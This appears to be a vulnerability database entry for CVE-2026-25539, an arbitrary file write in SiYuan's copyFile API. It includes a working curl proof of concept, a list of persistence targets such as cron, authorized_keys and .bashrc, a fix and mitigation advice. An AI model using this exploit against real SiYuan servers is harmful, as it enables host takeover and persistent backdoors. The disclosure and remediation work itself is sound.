CVE-2026-25539 is a critical-severity (CVSS 9.1) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25539.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location:
kernel/api/file.go- copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
PoC
Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
Response: {"code":0,"msg":"","data":null}
Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
Attack Scenarios
| Target Path | Impact |
|---|---|
/etc/cron.d/backdoor | Scheduled command execution (RCE) |
~/.ssh/authorized_keys | Persistent SSH access |
~/.bashrc | Command execution on user login |
/etc/ld.so.preload | Shared library injection |
RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
Impact
An authenticated attacker (with API Token) can:
- Achieve Remote Code Execution with the privileges of the SiYuan process
- Establish persistent backdoor access via SSH keys
- Compromise the entire host system
- Access sensitive data on the same network (lateral movement)
Suggested Fix
Add path validation to ensure dest is within the workspace directory:
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Affected Products
siyuanb3logDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for CVE-2026-25539. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-25539 in your dependencies?
Find it across Go, including transitive dependencies.